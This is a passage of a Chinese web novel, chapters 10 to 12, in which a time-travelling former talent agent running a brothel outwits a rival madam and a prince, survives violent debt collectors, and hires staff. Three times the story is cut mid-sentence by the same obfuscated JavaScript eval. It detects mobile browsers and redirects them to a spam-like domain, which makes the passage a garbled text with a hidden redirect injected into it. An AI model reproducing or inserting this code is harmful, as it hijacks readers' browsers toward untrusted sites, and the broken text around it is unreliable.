只听“扑通”一声,般茴跪在地上,咬死不承认:“奴前日并未出门,一直待在楼中。” 容婴随她动作蹲下,锦袍盖住粗衫,微垂的墨发从耳际滑落,半晌,他恍若没有听到般茴否认一般问道:“你到底叫什么?” 许是见般茴颤抖得厉害,容婴迟疑片刻,将宽大的手掌落于少女细瘦的脊背,未成想少女颤抖得更厉害了,他无奈收手:“不许怕本宫,本宫只是想知道你的名字。” 埋在绿沈色衣袖下的头颅动了动,容婴就听到她闷闷道:“朱翠花。能让奴走了吗?” 容婴:“……” 就在这时,外间突然传来熙攘的吵闹声,紧接着房门被人从外撞开。 般茴微微抬头,瞄向门外,就见穿着小厮衣物的荷芳气得跳脚,形容癫狂,身后葛三娘神色愤怒而恐惧,一个劲儿想拦住往里冲的荷芳。 然这会儿的荷芳就像是被怒气冲昏了头,一门心思想置般茴于死地。 毕竟若是般茴活着出去了,定然会在逸秀楼那帮贱蹄子面前诋毁她,说她只是在醉香楼当个丫鬟,只是想象着,荷芳就气血上涌,哪里还去注意葛三娘的神情。 毕竟方才在楼下时,荷芳怒气冲冲地将此事说于葛三娘听,对方虽相信了她的话,却奇异地并不让她现在去拆穿般茴。 荷芳不明白,一下将葛三娘冲撞倒地,撒丫子就往醉香楼顶楼跑,这会儿推开门见却见般茴跪倒在地战战兢兢。 她自觉出了口恶气,看向站在般茴身旁芝兰玉树的容婴,见对方面无表情,便先入为主以为是被般茴这个死丫头气得,于是颇为神气地嘲讽道:“让你冒充我的身份!活该搬起石头砸自己的脚!” 说完这话,她转向容婴,这会儿才想起了行礼,恭敬地说: “贵人,这人是逸秀楼的老鸨般茴,偷偷溜入我们醉香楼,被奴撞上后,将奴打晕,偷了奴的衣物!恳请贵人做个见证,将这贱人痛打一顿,扭送衙门为好!” 10. 第 10 章 “怎么回事?” “不知道啊,这人为何穿着小厮衣裳跑了上去?” “听说楼内今日有贵客来着,哎!我跟你说,这人胆子大着呢,方才我亲眼所见,她竟将三娘推倒了!” 醉香楼好些姑娘眼瞧着葛三娘慌里慌张追上去地身影,口中还在不住咒骂着什么东西,一时皆觉得有些新鲜。 平日里葛三娘可是极重姑娘们的礼仪修养,这会儿倒也顾不上这些了,方才一跤将整齐的发髻跌散,她来不及扶正墨发,就紧跟着前方穿着小厮衣物的姑娘上楼。 姑娘们声响窸窸窣窣,凑在一团,扒着栏杆要往上瞧,又碍于三娘今晨的叮嘱不敢上楼。 三娘可是同她们说了,今日楼上会来个大人物,不要不识趣儿地往上凑,否则一不小心就会丢了小命。 就在这时,圆儿心不在焉从三楼端着瓷盘下来,几位姑娘见她下来,忙一拥而上,笑着问道:“圆儿姑娘可知道今日来的大人物是谁?还有那个穿着小厮衣物的女子?她方才可是将葛三娘推倒了!” 圆儿本有些不耐烦于这些八卦,奈何今日心中藏着事儿,一听到“葛三娘”“小厮衣物”立刻慌了神,将手中瓷盘囫囵交予其中一个姑娘,拔腿又上三楼,将此事竹筒倒豆子似的一股脑告诉咏霜。 咏霜一听这还得了,主仆二人立刻上了顶楼,就看到荷芳拆穿般茴假身份的场面。 “咏霜?你怎么来了?” 葛三娘吃了一惊,慌忙就要将她哄下去,然咏霜避开她的动作,视线落于正厅。 正厅中,荷芳面容扭曲,一脸得意,森白的手指左右摇晃,紧跟着跪在地上的般茴,此番模样,颇有些像荒山上要吃人的恶鬼;而般茴跪在地上,身形瘦小,略有些偏大的衣裳将她衬得越发伶仃,偷瞄过来的眼神在瞥见咏霜一瞬又缩了回来。 咏霜亦收回视线,美目落在正厅内站在般茴身边的公子身上。 到底是受众人追捧闻名天下的花魁,咏霜见多识广,自然看出此人身份不凡,她遂收回目光,同葛三娘视线交汇一瞬,咏霜了然。 眼下之际最终的事情是不要惹怒贵人,再处理般茴假身份的问题,正思索之际,就见跪在地上的少女微微抬头,清凌凌道:“公子恕罪,家姐自小疯疯癫癫相当花魁,此番见奴好容易进了醉香楼更是羡慕,整日同奴闹,殊不知奴不过是个丫鬟,今日之事惊扰公子,还望公子恕罪。” 此话一出,荷芳顿时傻眼,她红着眼睛呵斥:“放屁!”她转过身看向葛三娘,理直气壮道:“妈妈,你是知道的,我才是荷芳!” 葛三娘心中暗恨这蹄子让她在燕王面前丢了面儿,倒落下个治下不严,目无规矩的错处。今日发生这事,不论燕王说与不说,东家那边定会听到风声。 想起东家,葛三娘忍不住打了个寒颤,到底是多年在红尘堆里翻滚的人精,一听般茴这话,自然明白对方递台阶的意思,她眼中划过暗芒,先将荷芳这厮解决了,再关起门来,好好解决般茴这个钉子。 思及其,葛三娘眯了眯眼,冷漠回道:“什么荷芳,我不认识你,那丫头才是荷芳!” 真正的荷芳愣在原地,她目光呆滞起来,似乎不相信自己的耳朵。 自始至终容婴未发一言,他饶有兴致地看着般茴,后者极快地抬头同他对视一眼,容婴见了,哈哈大笑起来。 这笑倒是提醒了荷芳,她扑通一声跪倒在地,膝行爬到了容婴面前,双手紧紧抓住对方宽大的衣袍,又哭又笑道:“公子为我做主啊!我才是荷芳!她,”荷芳话语一顿,目光凶狠看向般茴,继续道:“她才是偷偷溜进来的!她是逸秀楼新老鸨般茴!按楼内规矩该将她打死才是!” 葛三娘见荷芳抓住燕王衣物,顿时吓得魂飞魄散,这位爷可是随心所欲的主儿,惹了他甭想好过。 她正想叫人上来将荷芳拉开,就见容婴微微弯腰,冰雪似的面庞扯出一抹天真而又残忍的笑容,激得荷芳浑身汗毛倒竖,自觉松开了手,只听少年嬉笑道:“本宫为何要为你做主?” 屋内陷入死一般的寂静,倒是葛三娘率先反应过来,一群膀大腰圆的大汉立刻涌了上来,将被吓傻了的荷芳拖走,过了好一会儿,绝望的尖叫声才响了起来。 般茴竭力止住颤抖,屋内突兀响起一道低沉声音: “有人找。” 是方才给她们开门的人,想来应该是这皇亲国戚的侍卫。 容婴一听这话,懒懒地打了个哈欠,转向葛三娘道:“三娘,这丫头给本宫留着。”说着,他就抬脚出了房门,那侍卫不见踪迹,估摸着是耍轻功走了。 少年一走,房内的气氛立刻轻松下来,葛三娘肉眼可见地松了一口气,她看向立刻站起来的般茴,心中纳闷。 不过半盏茶的功夫,这丫头怎就攀上了燕王这根高枝?心中正想着要如何处置她,又听身边咏霜道: “妈妈权当给我一个面子,放过茴茴一马吧,是我让她过来的,她同我是……是体己的好友。” 葛三娘差点惊掉下巴,重新审视般茴一番,确认这人并无什么狐媚之术,这才不可置信道:“……霜儿?” 咏霜不语,般茴却坐不住了,正欲说话,葛三娘却摆了摆手:“你,跟着霜儿去一趟吧,我葛三娘也不做什么恶人。” 咏霜深吸一口气,同葛三娘道了谢,就急急拉着般茴下了三楼。 “你胆子真够大的,竟敢跟着三娘上顶楼。”咏霜歪在美人榻上,颇有些数落的意味,却不乏担忧,“你可知那人是谁?” 般茴摇头。 “那可是燕王!当今太子一母同胞,颇得圣眷的弟弟!” 般茴倒吸一口凉气,深感方才及时认怂没有正面硬钢是对的,默了一会儿,她又小心问道:“我应该没惹到他吧?” 咏霜微笑:“人家都特意跟三娘说要留下你了。” 般茴:……当时危机解除,自己就只顾着跪麻的腿了。 她兀自从桌上倒了杯茶,二人之间的关系经此一遭倒是拉进了不少,不得不承认,每次见到咏霜,般茴都会被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178871|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美到。 这次也不例外,不过此次这九重天上的清冷仙女染上了丝烟火气,般茴乐见其闻,又想到葛三娘那一遭,不免有些担心:“你不该为我出头,此事过后,葛三娘该盯上你了。” 咏霜斜睨了她一眼,圆儿本在一旁候着,听了这话倒也回过味儿来很是赞同。 然咏霜却轻飘飘道:“至少让葛三娘知道你般茴不是什么闲杂人等,你是我的知心好友,况且——”她顿了顿,看向窗棂位置,般茴亦跟着她的视线看过去: 窗纱纸上影影绰绰映出几道身影,见室内说话声停,很谨慎地向后退了几步,身影模糊起来。 般茴有些惊讶,但很快反应过来,就听圆儿刻意高声抱怨了几句,而咏霜抓住当口,低声道: “我不欲在醉香楼待下去了。” 般茴蓦地瞪大双眼:“攒够赎金了?” 咏霜微微点头:“我要去你们逸秀楼。我要参加科举考试。” 句句若平地惊雷,将般茴炸晕了,她迟疑片刻,声调抖了三抖:“我们之前才见过一面,你这么相信我?” 咏霜鸦睫颤动,眼神变得凄惶起来:“若是我看错人了,就当我活该好了,除此之外,我想不到法子能让自己去参加科举。” 般茴沉默了,半晌后她轻轻点了点头。 咏霜面上松了一口气,就在这时,门外响起敲门声。 “霜儿,霜儿。” 是葛三娘。 二人交换了眼神,般茴坐直身子,瞬间变了一副难过表情,而咏霜恢复一如既往的冷面,应了一声,就让圆儿去开门了。 葛三娘进屋之时,就见般茴起身同咏霜告辞,小丫头身形瘦削,满脸劫后余生的害怕,路过她身边的时候身子抖了抖,像只兔子一样退了出去。 大尾巴狼,装什么人畜无害。 葛三娘在心中嗤笑一声,装模作样地交代了咏霜花魁大会的事项,不过一会儿,就从屋内出来。 看见被众打手围住惊慌失措的般茴,她嘴角笑容真切几分,抬脚上前,打手们顿时往后退了退。 “般茴?”见对方慢吞吞地点了点头,葛三娘意有所指道:“芸娘的女儿是吧?你应该知道我们醉香楼是捧红芸娘的地方吧?” 般茴没有说话。 葛三娘并没有在意她的反应,自顾自说道:“我知道外面都在传闻咏霜要去你们逸秀楼,但你我都知这是谣传。毕竟咏霜已过了冲动的年龄,她今年十九岁了,风尘女子的花期多短你是知道的。若你真是她挚友,我相信你会让她选择正确的那条路。” 般茴心中发笑,这人不过是想趁咏霜眼下的名气榨干她最后一丝价值,看咏霜不过是在看一颗摇钱树。葛三娘不愧这么多年稳坐醉香楼老鸨的位置,心计手腕果然老辣狠戾。 譬如方才二话不说顺了她的台阶将脏水都泼到荷芳身上,只为保全她在燕王面前的形象。 般茴飞快地转着脑筋。 看来这醉香楼,她们未来的竞争对手,后台铁定不小。 11. 第 11 章 没错,虽然般茴有点怂,但这并不影响她给自己定的目标,是将逸秀楼做成天下第一的娱乐公司! 般茴垂下眼睑,看着脚下的黔色麻布云头屐,此刻十分乖巧地双手交叠,仓惶抬头看了她一眼,又快速地点了点头,看着像是将葛三娘的话给听进去了。 葛三娘面上笑容真切几分,挥了挥手,凶神恶煞的打手们立刻退到她身后。 掩住眼中的鄙夷和不屑,她上前拉住般茴的手,刻意压着声音:“茴茴啊,记住三娘说的话,咏霜她生是醉香楼的人,死,”她有意顿了顿,觑着般茴一瞬瑟缩的脖颈,这才接着道:“死,是醉香楼的鬼。” 说完,她轻拍了拍般茴的手,威胁之意溢于言表。她本来是想直接将般茴打死,未成想燕王临走前竟说出那番话,葛三娘也只得按对方的话照做。 见少女面色灰白,葛三娘遮住眼中一闪而过的狠辣,踩着妆花缎面锦鞋带人果断离去。 般茴在原地待了片刻,游魂一般下了楼,她心中虽然有些害怕,但并没忘记此行目的,又慢悠悠在醉香楼中晃荡一圈,心中对醉香楼的经营模式大概有了底,这才离开了面前吃人的锦绣丛。 她一口气撒腿从醉香楼后门跑了,直跑出二三里的样子,才停了下来。 此时的夜色已经完全盖了下来,凄冷的弯月孤零零悬挂在天幕之上,惨淡的月光好似下一刻就要被黑夜吞噬。 般茴右眼皮狠狠跳了一下,心中莫名慌乱,不甚在意地倚在铺满苔藓的青墙上,顺着墙根滑了下来。 她双手掩面,细细一瞧,青葱似的指头竟抖若筛糠,面上也蒙了层薄薄的冷汗,一双灵动的圆眼此刻无聚焦地盯着前方粗粝的小石子。 荷芳……应该没事吧? 她这才真正意识到自己穿越到了古代这一事实,也感受到了这些掌握着封建皇权高位者的随心所欲,他们视人命如草芥,可以眼睛都不眨一下地将活生生的人命扼杀。 若非般茴机灵,抓住了葛三娘的心理痛处,恐怕此刻被打手们拖走的,就是自己了。 般茴打了个激灵,大雍朝虽然同历史上的其他朝代相比,思想开放了许多,但封建皇权仍旧凌驾于铁律之上,本朝贵族子弟更是跋扈异常,当街纵马草菅人命之事时有发生,平头百姓若是遇到这等祸事,即便上告了,也多半会被压下来,给些银子敷衍了事。 她心中想着这茬,腿肚子有些发软,咬了咬牙,般茴噌的一下站了起来,快步朝逸秀楼方向走去。 还未到逸秀楼,般茴就听到楼内传来阵阵尖叫声,混合着桌椅倒塌的动静,在夜里令人毛骨悚然。 心中的不安感在这一刻达到顶峰,眼前一堆揽翠楼的姑娘聚在正门前,李瑛姑也在其中,而般茴前几日才雇来的彪形大汉早面色哀哀,正捂着伤口坐在石阶旁。 见自家东家来了,几个男人神色恐惧又是一顿哭诉,说讨债的人如何如何凶残,还打了楼内的姑娘。 般茴收回视线,上前一把推开堵在门口位置的李瑛姑,余光向楼内一瞥,入目果然皆是人高马大浑身肌肉虬扎的大汉。 揽翠楼的姑娘们眼神大多幸灾乐祸,李瑛姑这时倒罕见地沉默了,看着般茴有些微微发颤的身体,似是想到了什么,她叹了一口气:“报官了吗?” 般茴看了她一眼,摇了摇头没有说话,只深吸一口气,随即在众人吃惊的目光中毫不犹豫抬脚踏了进去。 前世般茴的家庭美满和谐,外公外婆是正儿八经的军人出身,父亲母亲也都是公职人员,般茴从小顺风顺水很少经历挫折,长大后即便进了娱乐圈做经纪人,也颇受前辈照拂,事业和财运亨通。 虽然听过黑色地带催债又是割手指又是打断腿的传闻,她也只是暗自唏嘘一番,从没有亲眼见过,更没有经历过。 这会儿进了楼内正厅,十几双恶狠狠如饿虎般的眼珠看向她的时候,般茴一颗心直跳到了嗓子眼,宽大的袖袍遮住她忍不住紧紧攥着的拳头。 她竭力告诉自己冷静下来,稳住声线刚想说话,那群人中体格最壮实的大汉率先朝她大步走来,粗声道:“死娘们,还钱!” 般茴压住心中惧意,看向那人—— 男人比般茴高出太多,没穿上衣,黑黢黢的虬扎肌肉上刀疤纵横,另有一道深长的疤痕几乎横亘他整张脸,眼睛下三白,此刻拳头攥紧,看着比般茴大半张脸还要大。 般茴紧闭牙关,绕过挡在面前的大汉,就看到楼内原来整整齐齐的桌椅此刻横七竖八化作朽木,木屑翻飞,姑娘们面带泪珠,眼中尽是绝望和恐惧。 忽而间,般茴眸光一顿,面色白如金纸,下一刻颤声道:“春莺姐姐……这是怎么了?” 眼前大片大片猩红的血迹刺激着般茴的双眼,她快步上前,从逢黛怀中接过奄奄一息已经昏迷的春莺,为了不露怯愣是将泪珠憋了回去。 姑娘们静默,逢黛面露不忍,将方才的事情同般茴简单说了一番。 原是般茴走后不久,讨债的人就过来了,春莺之前说的是每月的十五和月底他们会来讨债。昨日十五没来,春莺就没将这件事告诉般茴,觉得他们这群人月中可能不会再过来了。以前也常有这样的事情,她暗自欣喜一番,却没想到今日十六日倒来了。 “春莺姐姐当时让我们都躲起来,自己同那些讨债的人周旋,说你不在楼内,”逢黛声音哽咽起来,看向此刻优哉游哉满面笑容的大汉们,恨声道,“他们就将春莺姐姐打了一顿,姑娘们哪里见过这阵仗,待反应过来出来阻止,姐姐就已昏死过去了……” 大汉们听着哈哈大笑起来,笑完不忘威胁般茴:“小丫头,赶快还钱,不还的话那半死不活的娘们就是你的下场!” 般茴浑身发冷,滔天的愤怒竟是冲淡了恐惧,迎着姑娘们担忧地目光,她颇为冷静地环顾四周,却没找到锐器的影子,许久没个声儿的系统突然惊恐道:“宿主,不要冲动啊,你打不过他们!” 般茴:“我很冷静。” 她眸色彻底冷了下来,上前走到那群大汉面前,淡淡问:“要还多少钱?” “三千两一分不能少!今日不还,我们弟几个定将你们逸秀楼砸个稀巴烂!” 般茴盯着他突然笑了:“这钱是东家欠的,他将我们逸秀楼所有的银子一扫而空跑了,还气死了我娘,怎么,难不成还要我替仇人还债?” “你们不过是债主的狗,若是真闹出了人命,看到门前那群人了吗?她们会立刻去报官,我们处境已经这样了,自然光脚不怕穿鞋的,你们还有家人要养活吧?大雍律法杀人连坐的处罚你们应该知道吧?” “就算不闹出人命,你们把逸秀楼砸了,我们更赚不到一个子儿,到时候你们雇主的钱才是彻底追不回来!” 那群大汉愣了愣,一时间面面相觑起来,每次来讨债 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178872|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人都不一样,他们只知道要帮雇主讨债,并不知道其中关窍,此刻皆有些犹豫起来,方才恫吓般茴的那个大汉却凶恶地冲到她面前: “少他娘的吓唬老子!老子出门讨生活的时候,你这个丫头怕是还没出生,兄弟们帮我按住她,硬骨头打一顿就好了!” 说完,这人脸盘大的拳头就要落下,般茴被人制住,避无可避。 她忽而转头看向不远处桌上还在燃着的煤油灯,平白道:“我都要被打死了,你还不出来?” 般茴闭上眼睛,想象中的拳头不出所料没有落下,黏腻而又温热的液体溅在她薄薄的眼皮上,沉闷的重物坠地声传入耳膜,铁锈味扑面而来,按住般茴的几双大手像是被烫到一样倏地仓惶松开了。 耳边一时全是姑娘们的惊呼声,般茴顿了顿,从善如流揩去眼皮上的血色,随即缓缓地睁开眼睛。 骨碌碌的人头滚到般茴脚边,面上表情还停留在得意地恶笑上,一双眼睛狠狠凸起,正看着她。 此人剩下的身子向后倒去,鲜血像洪水一样喷涌而出,在地上张牙舞爪地蜿蜒开来,般茴的脚上亦不可避免的沾上猩红。 她面无表情,隐在袖袍中的手却颤抖得不成样子,像是想到了什么,般茴回头看向正门位置。 果然,不知何时,门已被牢牢关上,她静默片刻,随后抬脚从血泊中走出,视线落在早将剑收入剑鞘的少年身上—— 少年一身玄色衣衫,墨发高束,泼墨一般飞扬开来,浑身上下只露出一双黑黢黢的眼睛,正古井无波地看着般茴。 已经出了人命,这群讨债的人早被吓得屁滚尿流地溜了,少年收回放在她身上的视线,静静看着这群人跳窗离开,数息后,他亦消失在般茴面前。 般茴转而看着众位姑娘,一字一顿道:“讨债的人早已全须全尾地走了,他们走后,你们就一直在楼内精进才艺,明白吗?” 逢黛率先回过神来,坚定地点了点头,剩下的姑娘也如梦初醒,陆续点头,她们想的很简单,就算后来官府查到了逸秀楼,人不是她们杀得,便查不到她们头上。何况本朝对黑恶势力的打击颇为严苛,就算真查到她们头上,也翻不出什么风浪。 姑娘们对这群人恨得牙痒痒,自己好不容易看着逸秀楼越来越好起来,生活也有了些盼头,自然不愿前途被他们毁了。姑娘们都是一群可怜人,心中不过想过些好一点的日子,有人拦着要将她们拖进地狱,姑娘们不恨他们才怪。 加上春莺为了保全她们被讨债的人打成这个样子,不敢想要是自己出现,又会被打成什么样子。 般茴见人心罕见的稳定下来,先有条不紊地点了几个姑娘去请大夫,又点了几个姑娘同自己一道清理尸体。 姑娘们出乎意料地很配合,几乎没一个人有惊慌失措之类的情绪,尸体暂时处理一番后,趁夜色她们从后门出来,丢到了乱葬岗去。 待到般茴一行人回到楼内,地上已经全然看不出一丝血迹,甜腻的熏香弥散在空气中,腥甜的铁锈味儿已经被遮盖得无影无踪。 事情解决,姑娘们本欲等着大夫过来看春莺的情况,然般茴却发话让她们各自回去休息。 姑娘们本就训练一天累得不行,晚间又经历此番祸事,眼底早已青黑一片,闻言不再坚持,一个个回回房睡觉去了。 然此番事情更坚定了她们要出道的决心,谁都不能拦着! 12. 第 12 章 “大夫,我姐姐没事吧?” 杏林堂的王大夫扶了扶晚间匆匆出诊尚未理好的头发,又捻了捻胡须,叹了口气摇头,就是不说话。 一旁的逢黛被吓得面色变白,樱唇发颤,却没有说出话来。 般茴急得像热锅上的蚂蚁,就差没有摇着那大夫的肩膀喊快说了,一番前摇后,王大夫才开了金口:“无甚大碍,这姑娘挨打倒有经验,护住了脆弱部位,没有伤及要害,看着似乎骇人,其实都是些皮外伤,内里没什么大问题。” 二人这才松了一口气,般茴翻了个白眼,看吧,她就烦中医这一点,喜欢故弄玄虚,不论有事没事都摇着个头,本来没什么毛病倒给人吓出毛病了。 那王大夫简单开了张药方,又留下些预防发热的药物,供今晚急用,这才晃悠悠地回去。 屋内。 逢黛看着般茴眼中的红血丝,不忍道:“先回去休息吧,这里我看着就行。” 般茴没跟她客气,只说上半夜她来看着,下半夜自己过来。逢黛自然满口答应,催着她赶快去休息。 今日发生的事情太多,般茴点了点头,揉了揉有些发痛的头,这才回了自己房间。 刚进房间,浓重的血腥味就令般茴睁大双眼,微弱烛火下映照下,少年一身黑衣,正盯着般茴。 “你……你怎么又回来了?”般茴吞了吞口水,很是谨慎地退了几步,后背贴在门框上。 不是,这和她料想的不一样啊,按理说这人只是个侍卫,网文看得多了般茴自然将他归为像自己一样的普通人npc,不过武功高强一点罢了。 这会儿怎么……还要跟自己唠唠嗑吗?她看向少年抱着的玄铁长剑,身体却下意识紧绷起来。 逃出去的那几人必然也被他杀了,单凭这人一身的血腥味就能判断出来。 少年自然看出了她防御的动作,他眯了眯眼,并没有回答她的问题,反问道:“你是什么时候知道有人在跟着你的?” 笑话,她自己前世可是金牌经纪人,要是对私生饭或者黑粉的目光不敏锐,自家艺人早被削得连渣都不剩了好吗? 但这话她并没有说出来,只囫囵说自己从小对旁人的目光比较敏锐,没给对方说话的机会,般茴问道:“你是燕王派过来的吧?” 少年点了点头,言简意赅:“你身份可疑。” 般茴被噎了一下,没料到这人说话这么耿直。 燕王的目的她猜不透,但总归逃脱不了利益二字,结合葛三娘对他的态度,就算他身世显赫,也不至于这般小心翼翼,故而燕王他,十有八九就是醉香楼背后的东家。 而找人来监视她这事,般茴总觉得有些小题大做,难道他预知到未来逸秀楼这个小小的青楼会成为他们的竞争对手? 般茴战战兢兢,很是摸不着头脑,但这并不妨碍她借助一切她可能借助的力量完成任务。 想到这茬,般茴故意犹豫道:“燕王殿下派你来监——保护我,是想同我合作?” 江十三本欲走掉,听到般茴的话很是奇异地看了她一眼,半晌吐出两个字:“非也。” “那我同燕王殿下合作可好?劳烦小哥替我转达,殿下若肯借我些银票救急,十日之内我必双倍奉还,若是殿下不同意,我亦可让殿下参与逸秀楼的分红。” 后续选秀出道的花销不小,而眼下般茴手中剩下的银子不过十五两,加上她还有诸多赚钱的法子没有实施,这些法子也需要资金投入。 而同燕王合作,可谓一箭双雕,首先钱财的问题得到解决;再者,若是对方参与到逸秀楼的分红中来,就变相地承认自己是逸秀楼的靠山。未来若是她们同醉香楼起了竞争,自然不会被燕王报复。 般茴心中算盘打得很好,奈何江十三却皱了皱眉,转瞬间消失在浓浓的夜色中。 窗外黑黢黢一片,暗夜中繁忙的秦淮河也静默下来,般茴不欲管他,话已说到这个份上,燕王同不同意已不是她能左右的事。 闭上窗子,刚躺在床上的般茴就沉沉地睡了过去。 翌日一早,般茴又在姑娘们激情四射的口号声中醒了过来,她艰难起床,却发现天色已经大亮,说要下半夜接替逢黛照顾春莺的事情自然没能实现。 人没睡醒,躺在床上有些发懵,但今日仍有很多事情要干,她在心中默念了几遍“选秀出道大会之后就好了”,这才逼着自己从床上爬了起来。 囫囵洗漱一番,又吃了几个后厨冯师傅做的包子,般茴打着哈欠从后门出去了。 她先是跑到县衙报了官,朝衙门里的书吏递了状纸,称有黑恶势力盯上了自己,那书吏本昏昏欲睡地看着词状,看完后立刻清醒过来,激动地捧着状纸去了内庭。 原是这一年来云都过于安宁,大案子几乎没几个,衙门的KPI没有完成,县太爷脑门上的压力极大,好容易瞎猫遇到死耗子有了般茴这一遭,一个个自然不可能放过,恨不得立刻就去勘察,将那群人缉拿归案才好。 死了已经有一会儿了的那群人:……谢邀,已死,勿挂。 般茴自然不是为了这事来报官,只见她盈盈一拜,晶亮的泪珠在圆圆眼眶里打转,就是不落下来,端的是一副清纯小白花的模样,众人怜惜之余又想起她乃是风尘女子,心中一片唏嘘之际就听少女软声道: “谢过官爷,民女今日来乃是后怕之后还有人来催债,但这债分明不是民女欠的,硬要说的话,东家还欠着我们的钱,眼下东家跑路,倒让我们留下的人成了恶人……” 般茴兀自垂泪,又言讨债之人讨债的时期,语毕,就见县太爷陈舫摆了摆手,面上一派同情和愤怒之色:“姑娘放心,到了讨债那几日,本官定会命人前去相护,我倒要看看他们这群蛇鼠之辈能翻出什么风浪!” 目的达成,般茴自是满口感激话语,就差没把他们吹上天了,这才在众人的关心声中远去。 手中预算实在有限,她今日出门也就抠抠搜搜拿了五两银子。 虽然五两银子对普通人家不是个小数目,但对般茴来说简直寒碜得可怜,她要去人牙子手中买些奴仆,再去劳务市场雇些后厨师父—— 选秀大会若只是盯着选秀,就就太狭隘了,只要选秀大会开起来,现代的特色小吃和练习生的饰品周边就都可以上架了,对现在的般茴来说,蚊子腿再小也是块肉,更何况这些东西不一定只是蚊子腿。 正在街上走着,不远处的吵闹声传入般茴耳朵。 原是两个大汉在争辩咏霜和咏霜口中逸秀楼的神秘美人那个更貌美,二人身后站了好些人,看着倒是要打架,实则却是在为自家偶像拉拢粉丝。 “你都没见过咏霜,又怎知咏霜比那什么神秘美人好看?” “这话有意思,你也没见过那神秘美人,怎就这么笃定她胜过咏霜?况且这神秘美人到底存不存在,谁也说不准!” “狗娘养的!你胡沁什么!怎么,你还怀疑咏霜不成?” 两方人马皆被对方气得面色发红,唾沫横飞,好似下一秒就要打起来了。咏霜作为一贯美人的代名词,这么多年花魁之名如雷贯耳深入人心,故而支持者稍众;而逢黛占了个咏霜夸过的神秘美人名头,因着还未露脸,故而支持者稍少些。 般茴见状露出邪恶的笑容,吵吧吵吧!最后都是给我们逸秀楼送热度和流量。 她认真思考两秒,趁着两方人马停战休息之际,游魂一样路过淡声道:“咏霜自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178873|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过,她和那神秘美人不分伯仲。” 趁着众人还没有反应过来,般茴拔腿就跑,待到众人左顾右盼找寻到底是谁说这话的时候,她已经深藏功与名,蹲在墙角看他们吵得更加激烈。 心旷神怡欣赏一番后,般茴才去干了正事儿。 在和人牙子讲价拉扯大战八百回合后,般茴笑眯眯无视对方鄙夷嫌弃的目光,将三两银子交予牙婆,美滋滋领着三个丫头走了。 她手头不宽裕,买的活契,为期半年,想着倒时候再续就是,被般茴买下的几个丫头却面色有些凄惶,一路上看着她欲言又止。 般茴自然察觉到了,她想了想,转头疑惑问道:“姑娘们是有什么话要问我吗?” 几个姑娘面面相觑,立刻跪了下来,眼泪潸潸而下,语带哽咽:“求娘子不要将奴婢们再返还到牙婆手里!我们愿意为娘子当牛做马,只要不回去,让我们做什么都行!” 般茴一下愣在原地,未曾想到她们的处境竟如此艰难,她三步并两步上前将姑娘们扶起,语气很是诚挚:“姑娘们放心,只要我们逸秀楼半年之后没有关门,定会拿下你们的卖身契。” 姑娘们这才站了起来,乖乖跟在般茴身后。 同人牙子不同,劳务市场一般都是雇佣工人,不像身后的姑娘们身在贱籍,他们大多是平民,且大多采用佣金制度,按月结居多。 在市场上挑了几个颇有经验的厨子之后,般茴花光了手上的钱款,这才回了逸秀楼。 此刻夕阳西下,酡红色的晚霞在碧蓝天穹上肆意翻滚,般茴对新来的几个仆从简单交代一番后,便轻手轻脚地上了二楼。 她先是去了春莺房间看看,春莺的伤势虽然不重,但浑身仍旧无法动弹,今儿一整天都睁着眼睛盯着床顶。 这会儿见般茴进来了,她一瞬弯了弯嘴角,温婉的面容溢出关心和动容神色,般茴顺势在床边坐下,帮她掖了掖被角,这才道:“姐姐今日感觉如何?” 春莺:“好多了,明日我觉得就能下床训练了。” 般茴叹了口气,今日十七,而出道大会在二十日,便也知道她是见选秀出道临近心中焦急,只得温声安慰:“姐姐的身子,这选秀出道大会怎能好的了?” 春莺一听这话急了,她强撑着要起身,般茴却被她的动作吓得魂飞魄散,连忙起身止住她的动作,改口道:“姐姐定要好好休息,大会那天定能好起来。” “我伤的只是身子,又不是嗓子!这选秀大会我定要参加。”见般茴面色发苦,春莺软了语气,“茴茴,我知你关心我,但你知我已快二十年纪,比不得这些小姑娘,若是再不拼一把,何日是我的出头日?” 般茴静默,在对方满怀期盼的眼神中艰难点了点头,看着春莺一瞬高兴起来的模样,她叮嘱道:“姐姐答应我,到时候一定不能逞强,这世上,我只你一个亲人了。” 春莺怔住,反应过来时泪珠滑过面颊,落在枕上,般茴帮她拭过泪珠后她才回过神来,“哎!一定……妹妹放心。” 二人又说了些体己话,般茴才从春莺房中出去,压住心头有些酸胀的情绪,向训练室走去。 